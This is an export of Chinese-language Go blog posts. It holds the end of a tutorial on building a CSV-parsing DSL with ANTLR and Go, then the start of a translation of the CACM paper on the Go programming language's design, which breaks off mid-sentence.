Month=\u0026quot;\u0026quot;, Amount=\u0026quot;$5,000\u0026quot;}] 虽然前面生成了parser目录下的parser包，但是还远远不够，我们还需手工增加上述语义行为。\n首先，我们先来创建一个go module，方便后续依赖版本管理和程序构建：\n$go mod init csvparser 然后通过go mod tidy拉取必要的依赖包，主要是github.com/antlr/antlr4/runtime/Go/antlr这个antlr go runtime包。之后我们就可以创建main.go了，下面是该parser的main函数：\n// github.com/bigwhite/experiments/tree/master/antlr/csv2map/main.go func main() { csvFile := os.Args[1] is, err := antlr.NewFileStream(csvFile) if err != nil { fmt.Printf(\u0026quot;new file stream error: %s\\n\u0026quot;, err) return } // Create the Lexer lexer := parser.NewCSVLexer(is) stream := antlr.NewCommonTokenStream(lexer, antlr.TokenDefaultChannel) // Create the Parser p := parser.NewCSVParser(stream) // Finally parse the expression l := \u0026amp;CSVMapListener{} antlr.ParseTreeWalkerDefault.Walk(l, p.CsvFile()) fmt.Printf(\u0026quot;%s\\n\u0026quot;, l.String()) } 我们通过命令行传入要解析的csv格式的文件，通过antlr包提供的NewFileStream创建输入数据流，并将该数据流传给新创建的lexer，经过lexer的解析后，我们得到token stream，经过前面的铺垫，我们知道token stream是要传给新创建的Parser。Parser会在内存中建立抽象语法树(见上面抽象语法树那张图)。\n之后，也是最重要的就是遍历语法树，提取我们需要的信息了。前面说过，antlr基于CSV.g4仅仅是生成了一个CSVListener的接口以及一个空的BaseCSVListener的实现。但BaseCSVListener不能满足我们的要求，我们需要一个可以提取语法树中重要信息的CSVListener接口的实现，我这里称之为CSVMapListerner：\n// github.com/bigwhite/experiments/tree/master/antlr/csv2map/csv_listener.go type CSVMapListener struct { *parser.BaseCSVListener headers []string cm []map[string]string fields []string // a slice of fields in current row } 我们看到，CSVMapListener首先嵌入了BaseCSVListener，“继承”了BaseCSVListener的所有方法实现，这使得CSVMapListener满足CSVListener接口。\nCSVMapListener中的cm字段用于存储从抽象语法树中提取到的CSV数据信息，它本身是一个元素类型为map[string]string的切片；headers用于存储从抽象语法树中读取到的CSV文件的头信息；而fields则是代表CSV每一行数据的抽象。\n我们不需要override BaseCSVListener的所有方法，我们只需在几个方法中保存提取到的信息即可。\n整个CSV文件的关键数据单元是row，每当我们进入产生式规则row时，都需要为后续解析出的row信息准备好存储空间：\nfunc (cl *CSVMapListener) EnterRow(c *parser.RowContext) { cl.fields = []string{} // create a new field slice } 对应到CSVMapListener，就是override EnterRow方法，在该方法中创建一个新的fields slice。\n在产生式规则row完成时，将fields信息存储起来，即override ExitRow方法，见下面代码：\nfunc (cl *CSVMapListener) ExitRow(c *parser.RowContext) { // get the rule index of parent context if i, ok := c.GetParent().(antlr.RuleContext); ok { if i.GetRuleIndex() == parser.CSVParserRULE_hdr { // ignore this row return } } // it is a data row m := map[string]string{} for i, h := range cl.headers { m[h] = cl.fields[i] } cl.cm = append(cl.cm, m) } 由于header也是一个row，我们不能将header当成普通row存储在cm中，所以在ExitRow中有一个是否是header row的判断。如果是header row，则啥也不做；否则创建一个map[string]string实例，将row信息存储在该map中，并append到cm的切片中保存起来。\n如果row是header，我们只需要override ExitHdr方法，将fields信息保存到headers字段中备用，如下面代码：\nfunc (cl *CSVMapListener) ExitHdr(c *parser.HdrContext) { cl.headers = cl.fields } 下面的ExitField方法是提取row中每个field文本信息的：将每个field的文本信息追加到fields切片中保存起来：\nfunc (cl *CSVMapListener) ExitField(c *parser.FieldContext) { cl.fields = append(cl.fields, c.GetText()) } 经过上述这些override方法后，我们就可以从抽象语法树中提取到我们需要的信息了，对应到main函数中的代码，我们将新创建一个CSVMapListener的实例，并将其传给antlr.ParseTreeWalkerDefault.Walk方法，后者会在特定时刻自动回调我们上面的override的方法来提取我们需要的信息：\n// github.com/bigwhite/experiments/tree/master/antlr/csv2map/main.go l := \u0026amp;CSVMapListener{} antlr.ParseTreeWalkerDefault.Walk(l, p.CsvFile()) 一旦信息都被提取到CSVMapListener的cm字段和headers字段中后，我们便可以按要求输出这些信息：\n// github.com/bigwhite/experiments/tree/master/antlr/csv2map/csv_listener.go func (cl *CSVMapListener) String() string { var s strings.Builder s.WriteString(\u0026quot;[\u0026quot;) for i, m := range cl.cm { s.WriteString(\u0026quot;{\u0026quot;) for _, h := range cl.headers { s.WriteString(fmt.Sprintf(\u0026quot;%s=%v\u0026quot;, h, m[h])) if !cl.lastHeader(h) { s.WriteString(\u0026quot;, \u0026quot;) } } s.WriteString(\u0026quot;}\u0026quot;) if i != len(cl.cm)-1 { s.WriteString(\u0026quot;,\\n\u0026quot;) continue } } s.WriteString(\u0026quot;]\u0026quot;) return s.String() } 这个比较简单，就不赘述了。\n以上main.go中的代码都是基于antlr的Parser的经典“套路”，大部分Parser都可以使用这些代码。你的重点在自定义Listener的实现上，就像本例中的CSVMapListener。\n六. 小结 到这里我们就实现了一个可以解析CSV文件并将其中数据转换为特定格式输出的DSL解析器了。这个示例仅仅是说明了基于Antlr构建DSL解析器的原理与基本步骤。\n简单回顾一下，基于Antlr实现DSL，第一要基于Antlr提供的类EBNF规则设计出DSL的文法，第二要基于antlr生成的代码实现一个DSL的Listener从抽象语法树提取你所需要的信息并构建执行语义。\n在这个过程中，我们可以使用antlr提供的强大的调试工具来帮助我们解决问题，尤其是dsl文法中的问题。\n本文中涉及的代码可以在这里下载。\n七. 参考资料 lex和yacc官网 – http://dinosaur.compilertools.net lex和yacc教程 – http://capsl.udel.edu/courses/cpeg421/2008/slides/lex-yacc_tutorial.pdf ANTLR官网 – https://www.antlr.org 《编程语言实现模式》 – https://book.douban.com/subject/10482195/ 《ANTLR4权威指南》 – https://book.douban.com/subject/27082372/ 龙书《编译原理：原理、技术与工具》 – https://book.douban.com/subject/3296317/ Parsing with ANTLR 4 and Go – https://blog.gopheracademy.com/advent-2017/parsing-with-antlr4-and-go/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/10/introduction-of-implement-dsl-using-antlr-and-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/introduction-of-implement-dsl-using-antlr-and-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/10/introduction-of-implement-dsl-using-antlr-and-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/10/introduction-of-implement-dsl-using-antlr-and-go\"\u003ehttps://tonybai.com/2022/05/10/introduction-of-implement-dsl-using-antlr-and-go\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"一-引子\"\u003e一. 引子\u003c/h3\u003e\n\u003cp\u003e设计与实现一门像Go这样的通用编程语言的确很难！那是世界上少数程序员从事的事业，但是实现一门\u003ca href=\"https://book.douban.com/subject/21964984/\"\u003e领域特定语言(Domain Specific Language, DSL)\u003c/a\u003e似乎是可行的。\u003c/p\u003e\n\u003cp\u003e就像\u003ca href=\"https://www.antlr.org/\"\u003e著名的语言解析器生成工具ANTLR\u003c/a\u003e作者Terence Parr在\u003ca href=\"https://book.douban.com/subject/10482195/\"\u003e《编程语言实现模式》\u003c/a\u003e一书中说的那样：\u003c/p\u003e","title":"使用ANTLR和Go实现DSL入门"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/04/the-paper-of-go-programming-language-and-environment\n美国计算机学会通讯(Communications of the ACM)期刊2022年5月第65卷第5期将发表一篇有关Go语言的综述类Paper：《Go编程语言与环境》，这类综述类文章只有资深的Go核心团队的人才“有资格”写，该文的作者列表印证了这一点，他们是Russ Cox，Robert Griesemer，Rob Pike，Ian Lance Taylor和Ken Thompson，都是Go语言核心团队耳闻能详的人物。\n这篇文章是Go核心团队对10多年来Go演化发展的复盘，深入分析了那些对Go的成功最具决定性的设计哲学与决策，个人觉得这是Go诞生十多年来最重要的一篇文章。所以我建议Gopher们都能认真读一遍或几遍这篇文章。这里将其翻译为中文，方便大家enjoy it。\n原文pdf版在这里可以下载。\nGo是一种编程语言，于2007年底在Google(谷歌)创建，并在2009年11月作为以开放源代码形式发布。从那时起，它就一直被作为一个公共项目运作，有成千上万的个人和几十家公司为Go项目做出过贡献。Go已经成为构建云计算基础设施的一种流行语言。Docker（一种Linux容器管理器）和Kubernetes（一种容器部署系统）都是用Go编写的核心云技术。今天，Go是每个主要的云供应商的关键基础设施的基础，云原生计算基金会(CNCF)托管孵化的大多数项目都是Go语言实现的。\n主要见解(key insights) Go语言尽管没有什么技术上的突出进步，但却有着广泛的应用。并且，Go的成功在于专注于工程软件项目的整体环境。 Go的做法是不会将语言特性视为比环境特性更重要，例如：谨慎处理依赖关系(译注：尤指最小版本选择MVS)、可规模化(scale)的开发和生产、默认安全的程序、工具辅助的测试和开发、对自动化修改的适应性以及长期保证的兼容性。 Go 1.18于2022年3月发布，增加了十年来第一个重要的新语言特性：参数化多态性，经裁剪后可以很好地适应Go语言的其他部分(译注：仍然可以保持向后兼容，满足Go1兼容性承诺)。 引子 早期用户被Go所吸引的原因有很多。首先，一种支持垃圾回收、静态编译的系统级编程语言，其本身就是不寻常的。其次，Go对并发(concurrency)和并行(parallelism)的原生支持有助于利用当时正在成为主流的多核机器的优势。再次，自包含的二进制文件(译注：无需依赖目标主机上的C运行库和其他系统库)和简单的交叉编译简化了部署。最后，谷歌的名字无疑也是一个亮点。\n但为什么用户会留存下来呢？为什么Go可以越来越流行、越来越受欢迎而同期的其他语言项目却没有呢？我们相信，语言本身只是答案的一小部分。完整的故事(答案)必须涉及整个Go环境：库、工具、惯例和针对软件工程的整体做法，它们都对使用Go语言编程提供了支持。我们在语言设计中做出的最重要的决定，就是使Go更适合大规模软件工程，并帮助我们吸引志同道合的开发者。\n在这篇文章中，我们研究了我们认为对Go的成功最具决定性的那些设计决策，探讨了它们不仅适用于语言，而且适用于更广泛的环境的原因。然而，要分离并量化出某个具体设计决策的贡献度是很困难的，所以这篇文章不应该被理解为科学分析，而应该被理解为基于Go过去十年的经验和用户反馈的最佳理解的呈现。\n起源(Origins) Go是在Google建立大规模分布式系统的经验中产生的，在一个由成千上万的软件工程师共享的大型代码库中工作。我们希望为这种环境设计的语言和工具能够解决公司和整个行业所面临的挑战。由于开发工作和正在部署的生产系统的规模都很大，挑战因此出现了!\n开发规模(Development scale) 在开发方面，谷歌在2007年有大约4000名活跃的用户在一个单一的、共享的、多语言（C++、Java、Python）的代码库中工作。单一的代码库使问题很容易修复，例如，使主网络服务器变慢的内存分配器中的问题。但是在开发一个库的时候，由于很难找到一个包的所有依赖关系，所以很容易在不知不觉中破坏了这个库的一个以前未知的用户。\n另外，在我们使用的现有语言中，导入一个库可能导致编译器递归加载所有导入的库。在2007年的一次C++编译中，我们观察到编译器（在#include预处理后）在编译一组总共4.2MB的文件时，居然读取了超过8GB的数据，在一个已经很大的程序上，扩展系数几乎达到2000。如果为编译一个给定的源文件而读取的头文件的数量随着源代码树线性增长，那么整个源树的编译成本就会呈现指数级增长。\n为了弥补速度的减慢，我们开始研究一个新的、大规模并行和可缓存的编译系统，它最终成为开源的Bazel编译系统。但是并行性和缓存对于修复低效的系统只能起到这么大的作用了，我们相信语言本身可以做更多的事情来为编译大型程序提供帮助。\n生产规模(Production scale) 在生产方面，谷歌正在运行非常大的系统。例如，2005年3月，一个1500颗CPU的Sawzall日志分析系统集群处理了2.8PB的数据。2006年8月，谷歌的388个大表服务集群由24500个独立的tablet服务器组成，其中一组8069个服务器每秒处理了120万个请求。\n然而，谷歌和业界其他公司一样，都在努力编写高效的程序，以充分利用多核系统的优势。我们的许多系统不得不在一台机器上运行同一个二进制文件的多个副本，因为现有的多线程支持既笨重又低性能。庞大的、固定大小的线程栈，重量级的栈开关，以及用于创建新线程和管理它们之间交互的笨拙语法，都使得使用多核系统变得更加困难。但很明显，服务器中的cpu核数量只会越来越多。\n在这里，我们也相信语言本身可以通过提供轻量级的、易于使用的并发性原语来提供帮助。我们还在这些额外的cpu核中看到了一个机会：垃圾收集器可以在一个专用的核上与主程序并行运行，减少其延迟成本。\n为应对这些挑战而设计的编程语言可能是什么样子的呢？Go就是我们针对这一问题的回答。Go之所以受欢迎，部分原因无疑是整个科技行业现在每天都面临这些挑战。云计算供应商使最小的公司也有可能进行非常大的生产部署。虽然大多数公司没有成千上万的员工在写代码，但现在几乎所有的公司都依赖于由成千上万的程序员贡献的大量开源基础设施。\n本文的后续部分将研究具体的设计决策是如何解决这些开发和生产的规模化问题的。我们从语言核心本身开始，向外扩展到周围的环境。我们并不试图对该语言进行完整的介绍。要想全面详细了解Go语言，请参见Go语言规范或《Go程序设计语言》等书籍。\n包(Packages) 一个Go程序是由一个或多个可导入的包组成的，每个包包含一个或多个文件。图1中的网络服务器说明了关于Go的包系统设计的许多重要细节。\n图1：Go Web服务器\n该程序启动了一个本地网络服务器（第9行），它通过调用hello函数来处理每个请求，hello函数用消息”hello, world”（第14行）作为响应。\n一个包使用显式的import语句导入另一个包（第3-6行），这与许多语言一样，但与C++的#include机制相反。不过，与大多数语言不同的是，Go安排每个导入语句只读取一个文件(译注：仅会读取依赖包对应的.a文件，以fmt为例，读取的是fmt.a)。例如，fmt包的公共API引用了io包的类型：fmt.Fprintf的第一个参数是io.Writer类型的接口值。在大多数语言中，编译器处理fmt包的导入时，也都会加载所有io的符号来满足fmt包的需要，这可能又需要加载额外的包来满足所有io包中符号的需要。依此类推，一条导入语句可能最终要加载并处理几十个甚至几百个包。\nGo通过采用与Modula-2语言类似的做法，即：使编译后的fmt包的元数据包含了了解其自身依赖关系所需的一切，例如io.Writer的定义，从而避免了上述这种问题。因此，编译import “fmt”语句时只需读取一个完全描述fmt及其依赖关系的文件(译注：这个文件指fmt.a)。 此外，这种“扁平化”处理是在编译fmt包时一次完成的，避免了每次导入时的多次加载。这种方法使编译器的工作更少，构建速度更快，有助于大规模开发。同时，包的导入循环是不允许的：即如果fmt包导入了io包，那么io包就不能导入fmt包，也不能导入任何其他导入fmt的包，即使是间接的导入。这也使得编译器工作进一步减少，保证了一个特定的构建可以被分割为多个单独的包的编译。这也使得增量程序分析成为可能，我们甚至可以在运行测试之前就运行这种分析来捕捉错误。\n一个包导入fmt包并不能使io.Writer这个名字对当前这个包可用。如果main包想使用io.Writer这个类型，它必须自己使用import “io”语句导入io包。因此，一旦所有使用fmt限定名称的引用被从源文件中删除– 例如，如果上面例子中fmt.Fprintf的调用被删除，import “fmt”语句就可以安全地从源文件中删除，而无需做进一步分析。这个属性使得自动管理源代码中的导入语句成为可能。事实上，Go不允许未使用的导入，以避免将未使用的代码链接到程序中而产生的可执行文件膨胀。\n导入路径是带引号的字符串字面值，这使其解释具有灵活性。一个斜线分隔的路径在import语句中标识了导入的包，但随后源代码使用包声明语句中声明的短标识符来引用包。例如，import “net/http”提供了包的路径，但我们却使用其顶层名称http对其内容进行访问。在标准库之外，包由以域名开头的类似URL的路径来识别，如import “github.com/google/uuid”。我们将在后面对这类包进行更多的介绍。\n关于包的最后一个细节，请大家注意fmt.Fprintf和io.Writer这两个名字中的大写字母。Go使用一种命名惯例来对C++和Java的public、private和protected概念和关键字进行模拟。首字母为大写字母的名字，如Printf和Writer，是”导出的”（公共的），其他的则不是。基于首字母大小写的、编译器强制执行的导出规则适用于常量、函数和类型等包级标识符；以及方法名和结构字字段名。我们采用这一规则是为了避免在公共API中涉及的每一个标识符旁边都写上一个像export这样的关键字的语法负担。 随着时间的推移，我们已经开始看重这种可以查看标识符是否在包之外可用或仅在内部使用的能力。\n类型(Types) Go提供了一套常见的基本类型：布尔(bool)，定长整型，如uint8和int32，非定长整型int和uint（32或64位，取决于机器大小），以及定长浮点类型(float32和float64)和复数类型(complex64和complex128)。Go还类似C语言那样提供了指针、固定大小的数组和结构体类型。Go还提供了一个内置的字符串类型(string)，一个被称为map类型的哈希表，以及称为slice类型的动态大小的数组。大多数Go程序都依赖于这些类型，Go没有其他特殊的容器类型了。\nGo没有提供类(class)，但允许将方法(method)绑定到任何类型上，包括结构体、数组、切片、map，甚至是基本类型，如整型。它没有类型层次体系；我们认为继承性往往会使程序在演化过程中更难适应。相反，Go鼓励类型的组合。\nGo通过其接口类型提供面向对象的多态性。就像Java接口或C++的抽象虚拟类一样，Go的接口包含一个方法名称和签名的列表。例如，前面提到的io.Writer接口在io包中的定义如图2所示：\n图2：io包中的Writer接口定义\nWrite方法接受一个字节切片，并返回一个整数和可能的错误。与Java和C++不同的是，任何Go类型如果拥有与某个接口相同名称和签名的方法集合，就被认为是实现了该接口，而无需额外的显式声明。例如，os.File类型有一个签名相同的Write方法，因此它实现了io.Writer，而没有使用像Java的”implements”进行显式指示。\n避免接口和实现之间的显式关联，允许Go程序员定义小型、灵活以及临时性的接口，而不是将它们作为复杂类型层次结构的基础构件。它鼓励捕捉开发过程中出现的关系和操作，而不是需要提前计划和定义它们。这对大型程序尤其有帮助，因为在刚开始开发时，最终的结构是很难看清楚的。去除声明实现的簿记，鼓励使用精确的、只有一种或两种方法的接口，如Writer、Reader、Stringer（类似于Java的toString方法）等，这些接口在标准库中被广泛应用。\n初次学习Go的开发者常常担心一个类型会意外地实现一个接口。虽然很容易建立起这样的假设，但在实践中，不太可能为两个不兼容的操作选择相同的名称和签名，而且我们从未在实际的Go程序中看到这种情况发生。\n并发(Concurrency) 当我们开始设计Go语言的时候，多核计算机已经开始广泛使用，但线程在所有流行的语言和操作系统中仍然是一个重量级的概念。创建、使用和管理线程的难度使其不受欢迎，这限制了对多核CPU能力的充分利用。解决这一矛盾是创建Go的主要动机之一。\nGo语言中原生包含了多个并发控制线程的概念，称为goroutines。goroutines在一个共享地址空间中运行，并能被有效地通过多路复用机制调度到操作系统线程上。对阻塞操作的调用，如从文件或网络中读取数据，只阻塞进行该操作的goroutine；该线程上的其他goroutine可能被移到另一个线程中，这样它们就可以在调用者被阻塞时继续执行。goroutine开始时只有几千字节的堆栈(译注：在Linux x86-64上默认是2KB)，它可以根据需要自动调整大小，而无需程序员参与。开发人员在设计程序结构时将Goroutines视作一种丰富的、廉价的原语。对于一个服务器程序来说，拥有数千甚至数百万个goroutines是很平常的，因为它们的使用成本比线程低得多。\n例如，net.Listener是一个带有Accept方法的接口，可以监听并返回客户端新发起的网络连接。图3显示了一个接受连接的函数listen，并为每个连接启动一个新的goroutine来运行服务函数。\n图3：一个Go网络服务器\nlisten函数主体中的无限for循环（第22-28行）中调用了listener.Accept方法，它返回两个值：连接和一个可能的错误。假设没有错误发生，go语句（第27行）在一个新的goroutine中启动其参数：一个函数调用serve(conn)，这类似于Unix shell命令的后缀\u0026amp;，但在同一个操作系统进程中。要调用的函数及其参数在原goroutine中被求值；这些值被复制以创建新goroutine的初始栈帧。因此，程序为每个新发起的网络连接运行一个独立的serve函数实例。每个serve的调用处理一个给定连接上的所有请求（第37行对handle(req)的调用没有以go为前缀）；每次serve调用都可以阻塞而不影响对其他网络连接的处理。\n在Go的内部，Go的实现使用了有效的多路复用操作，比如Linux的epoll，来处理并发的I/O操作，但用户看不到。Go的运行时库对用户呈现的是阻塞式I/O的抽象，其中每个goroutine都是顺序执行的，不需要回调，这很容易理解。\n在创建了多个goroutine之后，一个程序必须经常在它们之间进行协调。Go提供了channel原语，允许goroutine之间进行通信和同步：channel是一个单向的、大小有限的管道，在goroutine之间传输类型化的信息。Go还提供了一个多路选择原语select，可以根据某channel上的通信是否可进行来控制执行。这些想法来自Hoare的”通信顺序过程(Communicating Sequential Processes)”和早期的语言实验，特别是Newsqueak、Alef和Limbo。\n图4显示了另一个版本的listen，它是为了限制任何时候可处理的连接数量而写的。\n图4：一个Go网络服务器，将并发处理的能力限制在10个连接\n这个版本的listen首先创建了一个名为ch的channel（第42行），然后启动了一个由10个服务端goroutines组成的池（第44-46行），它们接收来自这个单一channel的连接。当新的连接被接受时，listen使用发送语句ch \u0026lt;- conn（第53行）在ch上发送每个连接。一个server执行接收表达式\u0026lt;- ch（第59行）完成了此次channel通信。这里创建的是无缓冲channel(Go默认如此)，ch没有空间来缓冲正在发送的值，所以在10个server忙完前10个连接后，第11个ch \u0026lt;-conn将被阻塞，直到一个server完成对serve函数的调用并执行新的接收。被阻塞的通信操作对Listener产生了隐性的压力，这回阻止Listener接受新的连接，直到前一个连接被处理完。\n请注意，这些程序中没有互斥或其他传统的同步机制。在channel上进行的数据值通信可以作为同步的一部分；按照惯例，在channel上发送数据会将所有权从发送方传给接收方。Go有提供互斥、条件变量、信号量和原子操作的库，供低级别互斥或同步使用，但channel往往是更好的选择。根据我们的经验，人们对消息传递–利用通信在goroutine之间转移所有权–的理解比对互斥和条件变量的理解更容易、更正确。早期流行的一句Go箴言是：”不要通过共享内存来通信，而是通过通信来共享内存“。\nGo的垃圾收集器大大简化了并发API的设计，消除了关于哪个goroutine负责释放共享数据的问题。与大多数语言一样（但与Rust不同），可变数据的所有权不由类型系统静态跟踪。相反，Go集成了TSAN(ThreadSanitizer)，为测试和受限的生产使用提供了一个动态竞态检测器。\n安全性(Security和Safety) 任何新语言诞生的部分原因都是为了解决以前语言的缺陷，对Go来说，这还包括影响网络软件安全的安全问题。Go删除了在C和C++程序中造成许多安全问题的未定义行为。整数类型不会自动相互强制转型。空指针解引用、越界的数组和切片索引会导致运行时异常。不存在进入栈帧的空悬指针。任何可能超出其栈帧范围的变量，例如在闭包中捕获的变量，将被移到堆中。在堆中也没有空悬的指针；使用垃圾收集器而不是手动内存管理可以消除使用后的错误。当然，Go并没有解决所有问题，有些东西被遗漏了，也许应该被解决。例如，整数溢出本可以被定义为运行时错误，而不是定义为绕过不处理。\n由于Go是一种系统级编程的语言(译注：Go最初被设计者们定位为一种系统级编程语言)，它可能需要破坏类型安全的机器级操作，因此它能够将指针从一种类型强制转换为另一种类型，并进行地址运算，但只能通过使用unsafe包及其受限制的特殊类型unsafe.Pointer。必须注意这种对类型系统的违反要与垃圾收集器保持兼容–例如，垃圾收集器必须始终能够识别一个特定的字(word)是一个整数还是一个指针。在实践中，unsafe包很少出现：安全Go是相当有效的。因此，看到import “unsafe”是一个信号，让我们更仔细地检查源文件是否存在安全问题。\nGo的安全属性(safety properties)使它比C或C++等语言更适合于编写加密和其他安全关键的代码。一个微不足道的错误，例如一个越界的数组索引，在C和C++中可能会导致敏感数据的泄露或远程执行，但在Go中会引起运行时异常，从而停止程序，大大限制了潜在的影响。Go中有一整套密码学库，包括对SSL/TLS的支持；Go标准库包括一个可用于生产的HTTPS客户端和服务器。事实上，Go的安全性、性能和高质量库的结合使其成为现代安全工作的热门试验场。例如，免费提供的证书授权机构Let’s Encrypt依靠Go来提供生产服务，并在最近跨越了一个里程碑，签发了10亿份证书。\n完整性(Completeness) Go在语言、库和工具层面上提供了现代开发所需的核心部分。这就需要小心翼翼地平衡，既要增加足够多的”开箱即用”的功能，又不能增加太多，以至于我们自己的开发过程因为要支持太多的功能而陷入困境。\nGo语言提供了内置的字符串、hash map和动态大小的数组等易于使用的数据类型。如前面所述，这些对于大多数Go程序来说已经足够了。其结果是Go程序之间有了更大的互操作性–例如，没有产生竞争性的字符串或hash map的实现来分裂包的生态系统。Go包含的goroutines和channel是另一种形式的完整性。这些功能提供了现代网络程序中所需要的核心并发功能。Go直接在语言中提供这些功能，而不是在库中提供，这样可以更容易地调整语法、语义和实现，使其尽可能地轻量和易于使用，同时为所有用户提供统一的方法。\nGo标准库包括一个生产就绪的HTTPS客户端和服务器。对于在互联网上与其他机器互动的程序来说，这一点至关重要。直接满足这一需求可以避免额外的碎片化。我们已经看到了io.Writer接口；任何输出数据流都按惯例实现了这个接口，并与所有其他I/O适配器进行互操作。图1中的ListenAndServe调用可作为另一个例子，它期望有一个http.Handler类型作为第二个参数，其定义如下图5所示。参数http.HandlerFunc(hello)通过调用hello实现了Handler的ServeHTTP方法。该库创建了一个新的goroutine来处理每个连接，就像本文”并发”部分中的Listener例子一样，所以handler可以用简单的阻塞风格来编写，服务器可以自动扩展以同时处理许多连接。\n图5：net/http包的Handler接口\nhttp包还提供了一个基本的分派器(dispatcher)，它本身就是Handler的另一个实现，它允许为不同的URL路径注册不同的handler。将Handler类型确立为约定俗成的接口，使得许多不同类型的HTTP服务器中间件(middleware)能够被创建并相互操作。我们不需要将所有这些实现添加到标准库中，但我们确实需要建立一个允许它们一起工作的接口。\n标准Go发行版还提供了对交叉编译、测试、性能剖析(profiling)、代码覆盖率、模糊测试等的集成支持。测试是另一个领域，在这个领域中，建立关于核心概念的协议–例如什么是测试用例以及如何运行–使得创建的自定义测试库和测试执行环境都能很好地互操作。\n一致性(Consistency) 我们对Go的一个目标是让它在不同的实现、执行环境中，甚至在不同的时间内表现出相同的行为。这种”无聊”的一致性行为使开发人员能够专注于他们的日常工作，并使Go隐退到后台。\n首先，Go语言尽可能地规定了一致的结果，即使是错误的行为，如本文的”安全性”部分所讨论的空指针解引用和数组索引越界。这种一致性行为的一个例外是对map的迭代。我们发现，程序员经常不经意地写下依赖于哈希函数的代码，导致在不同的架构或Go实现上出现不同的结果。\n为了使程序在任何地方都有相同的表现，一种选择是强制规定一个特定的哈希函数。相反，Go定义了map迭代是非确定的。该实现为每个map使用不同的随机种子，并从哈希表中的一个随机偏移量开始对地图进行每次迭代。其结果是，map在不同的实现中都是不可预知的。代码不能再意外地依赖于实现细节。与此类似，竞态检测器为调度决策增加了额外的随机性，创造了更多的机会来观察竞态行为。\n一致性的另一个方面是在程序的生命周期内的性能。使用传统的编译器而不是Java和Node.js等语言使用的JIT来实现Go的决策，可以在启动时和短生命周期的程序中提供了一致的性能。没有”慢启动”来惩罚每个进程生命周期的前几秒。这种快速启动使Go成为命令行工具（如上一节所述）以及谷歌应用引擎(Google App Engine)等规模化网络服务器的目标。\n稳定的性能包括垃圾收集的开销。最初的Go原型使用了一个基本的、停止世界(STW)的垃圾收集器，当然，它在网络服务器中引入了明显的尾部延时。今天，Go使用了一个完全并发的垃圾收集器，暂停时间不到一毫秒，通常只有几微秒，与堆的大小无关。最主要的延迟是操作系统向必须中断的线程传递信号所需的时间。\n最后一种一致性是语言和库随着时间的推移而产生的一致性。在Go诞生的前几年，我们在每周的发布中都会对它进行修补和调整。用户在更新到新的Go版本时，常常不得不改变他们的程序。我们提供自动工具以减少开发人员的负担，但手动调整依然是必要的。从2012年发布的Go 1.0开始，我们公开承诺只对语言和标准库进行向后兼容的修改，这样程序在编译到较新的Go版本时可以继续运行而不发生变化。这一承诺对业界产生了吸引力，它不仅鼓励了那些长声明周期的工程项目，也鼓励了其他努力，如书籍、培训课程和第三方软件包的繁荣生态系统。\n工具辅助开发(Tool-Aided Development) 大规模的软件开发需要大量的自动化和辅助工具。从一开始，Go的设计就是为了鼓励这种工具化，并使其易于创建。\n开发者对Go的日常体验是通过go命令进行的。与只编译或运行代码的语言命令不同，go命令为开发周期的所有关键部分提供了子命令：go build和go install构建和安装可执行文件，go test运行测试用例，go get添加新的依赖。go命令还提供了对构建细节的编程访问接口，例如软件包图，从而使得新工具的创建更加容易。\n其中一个工具是go vet，它可以执行增量的、每次打包的程序分析，可以像缓存编译的对象文件那样缓存，实现增量构建。go vet工具的目的是高精度地识别常见的正确性问题，这样开发人员就有条件地听从它的报告。简单的例子包括在调用fmt.Printf和相关函数时检查格式字符串和参数是否匹配，或者诊断对变量或结构体字段的未用的写入。这些不是编译器错误，因为我们不希望仅仅因为发现了一个新的可能的错误就停止编译旧代码。它们也不是编译器警告；用户要学会忽略这些。将这些检查放在一个单独的工具中，可以让它们在开发者方便的时候运行，而不干扰普通的构建过程。这也使得所有的开发者都可以使用同样的检查，即使是在使用Go编译器的另一种实现，如Gccgo或Gollvm。这种增量方法使这些静态检查足够高效，我们在go 